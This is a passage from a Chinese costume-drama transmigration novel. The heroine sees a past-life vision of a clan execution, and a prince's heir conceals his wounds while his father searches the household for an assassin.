被分过手、被离过婚的人都知道,这种伤害就像附骨之疽,必须忍痛挖掉才能自救,而自救成功后,没人会再愿意主动接触病痛的源头。
游千古:“你安心在这,俞府那边有千叶他们几个遮掩,姜氏暂时察觉不了,我先去外面应付一下锐亲王。”
男人走后,俞采星检查了一下郑芮的伤口,没有撕裂,身体也没有发热,万幸。
她趁这个机会赶紧调出【前世.亡灵的遗憾】,前世的画面再次缓缓浮现。
映入眼帘的是一个女人,更准确的说是一个女囚,她被绑在法场上,刽子手一刀斩下了她的头颅。
那头颅滚落在地,而地上已经滚落了一片头颅,男的、女的、老的、少的,鲜血把菜市口都染红了。
到此,画面结束。
俞采星全身发抖,紧接着一股胃酸涌上来,她不住地干呕,作为一个现代人,她接受不了这种炼狱。
紧接着俞采星脑内又像上次一样弹出一段话:
【陈苒菁,前护国大将军郑元达之妻,郑芮之母,已故皇后陈冉滢之姐,皇帝以护国将军府通敌叛国为借口,夷三族,十八年前的雨夜,就是她偷偷将先皇后的儿子送出宫。】
俞采星明白了,这个法场斩的就是郑元达的父族、母族、和妻族,而让郑芮痛不欲生的遗憾就是亲眼看着母亲、父亲和三族被砍头。
太惨了,在这个封建社会,人命如草芥,虽然是穿书,可她自己已经涉入其中,根本无法将周围的人当成纸片人来对待。
可是这次【亡灵的遗憾】提示的是郑芮的母亲,她已经死去,依旧没有一个清晰的炮灰目标。
不过里面提到了先皇后和陈苒菁是亲姐妹,而且皇子是她送出宫的,这是一条重要线索。
只要找到十八年前参与此事的老人,说不定就能找到皇子的下落,只可惜陈苒菁娘家一族也被连累,全给诛了。
俞采星也不气馁,好在现在有了点方向,不像之前两眼一抹黑,她祈祷老皇帝一定要多活几年。
……
游轩动作比想象中快,游千古刚出耳房,就同大批府兵迎面撞上,于是规规矩矩行礼:“父王。”
游轩点头回应,只见他四十多岁的模样,蓄着胡子,面上不怒自威,“起得还挺早。”
他看着眼前的大儿子,脸色跟鬼一样白,“你身子不爽利?”
游千古将肿胀的左手,不经意往身后藏了藏,好在额前被俞采星用茶壶砸的口子,被他用头发故意遮盖,而后脑勺处被她用杌子打的伤口埋在头发里看不见。
“我无事,可能近来天气闷热,有点中暑。”他反问一句:“父王,天还没亮透,您这是……?”
后者一听是中暑,便放下心来,随即又冷哼一声:“继续装,锐亲王府都进来刺客了,你堂堂世子还能听不到风声?”
游轩语毕,府兵们立刻开始仔细搜查,听澜殿每一个地方都不错过,他则进了正厅落座,十叶上了一杯茶,很快一个府兵上前附耳禀报。
“什么?”游轩大力拍了一下桌子,茶水晃出来,他瞪向游千古,快步走进卧房,后者知道瞒不住,也跟上去。
“你们这是作甚,简直胡闹!”一进门就看到小儿子全身埋在冰块里。
“没想到阿弟你还有这嗜好。”游千古看向游万辰,完全一副事不关己的模样。
游万辰嘴角一抽只得回答:“回禀父王,我最近浑身燥热,经常流鼻血,所以就想清凉一下,谁知忘了时辰,所以才…
…”
“跑到你兄长房里泡冰?”
游万辰哆哆嗦嗦,手放在嘴边嘶哈斯哈:“阿、阿兄这里清静。”
游轩自是不信这些鬼话,狠狠瞪了游千古一眼,到底心疼儿子,“赶紧出来,若你母妃知道又该心疼了,哪里不舒服让宁大夫给你把把脉,寒冰岂能拿来泡身子!”
“谢父王疼惜,儿子一会儿就去找宁大夫。”游万辰看阿兄没反对,立马出来蒙上一床厚被子,再泡一会儿,他小命休矣。
游轩在听澜殿待了一会儿,直到手下人进来禀报,“王爷,没有发现刺客踪迹。”
“好,再去下一处。”他起身要走,又回头嘱咐两个儿子,“刺客的血滴在咱们锐亲王府附近,这不是好兆头,你们切记要小心,不管真假,都不能让有心之人钻了空子,造出些不实的把柄来。”
“是,父王。”两人一齐应声。
游轩一走,游万辰立刻将影卫打发出去,心慌意乱低声询问:“阿兄,她——”
“她很好,刺客也处理了,父王不会发现,以后离俞采星远点,她不是你能觊觎的。”游千古声音冷硬。
后者一愣,“阿兄你不会真的……”
“没错,我喜欢俞采星,她以后会是世子妃,你的嫂嫂,好了,你走吧。”游千古宣誓完主权就开始赶人。
直到走出听澜殿,游万辰还在恍惚中。
疯了,疯了。
阿兄心悦俞采星,竟然还要娶她为正妃,明明三天之前,阿兄对女子还不感兴趣,对俞采星更是不屑一顾。
看来真的是中了情蛊。
游万辰万万没想到,俞采星爱他到如斯地步,竟然搞来这么烈的情蛊,可怎么就失手祸害了阿兄呢?
……
终于所有人都离开了,游千古一阵阵出虚汗,只觉一阵头晕,就要往后倒去。
“世子,当心!”一叶和十叶赶忙上前扶住游千古。
此刻他头晕目眩,这一身伤不能再拖下去了,离那日大火已过去三天,王妃就算多心他受伤,这几天自己装得若无其事,她也该打消了疑虑。
“你去将宁代夫请来,就说是我中了暑热,暗地里叫他拿些伤药来,记住,一定要他嘴严实一些。”
若让锐亲王夫妇知道他伤得如此之重,少不了一顿闹腾。
一叶领命:“世子放心,勋贵家的大夫自会这些保命之道,不该说的绝不会多嘴。”
宁代夫将伤口清洗一遍,敷上药,重新包扎好。
“如何?”游千古又昏睡过去,十叶实在不放心。
宁代夫:“烧伤本就难好,如今天热,世子若再拖两天,这些伤口就会溃烂发脓,到时可就难治了。还有,后脑乃诸阳之会,此处的伤最是凶险,稍有不慎,轻则昏聩,重则……性命堪忧,往后切不可放任世子不管不顾。”
两人听后顿觉后怕。
临近晌午,游千古悠悠转醒,刚睁眼就问:“内室那边如何?”
“世子放心,俞大小姐安然无恙。”一叶躬身上前,“王爷将王府翻了两遍,证实府内没有刺客才安心,现下又出府了。”
“只是……”他欲言又止。
游千古皱眉:“只是什么?”